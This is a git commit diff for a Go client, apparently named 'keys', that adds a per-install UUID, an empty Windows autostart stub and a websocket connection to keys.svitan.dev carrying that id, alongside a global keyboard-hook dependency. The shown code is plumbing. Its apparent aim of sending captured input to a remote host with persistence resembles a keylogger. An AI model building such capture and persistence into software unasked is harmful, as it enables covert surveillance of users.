🚧 Adds id to websocket call

This commit is contained in:
Daniel Svitan 2025-05-13 13:59:07 +02:00
parent 36f698991d
commit b955fec1ad
4 changed files with 21 additions and 3 deletions

9
client/config.go Normal file
View File

@ -0,0 +1,9 @@
package main
import "github.com/google/uuid"
func getId() uuid.UUID {
return uuid.New()
}
func registerAutostart() {}

View File

@ -3,6 +3,7 @@ module svitan.dev/keys/client
go 1.24.1
require (
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
github.com/robotn/gohook v0.42.0
)

View File

@ -1,3 +1,5 @@
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=

View File

@ -1,8 +1,10 @@
package main
import (
"fmt"
"net/url"
"os"
"runtime"
"time"
"github.com/gorilla/websocket"
@ -19,14 +21,18 @@ const (
REG_END = 255
)
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
func main() {
var id = getId()
if runtime.GOOS == "windows" {
registerAutostart()
}
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
var conn *websocket.Conn
var err error
var tries = 0
for {
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
if err != nil {
tries += 1
if tries >= 3 {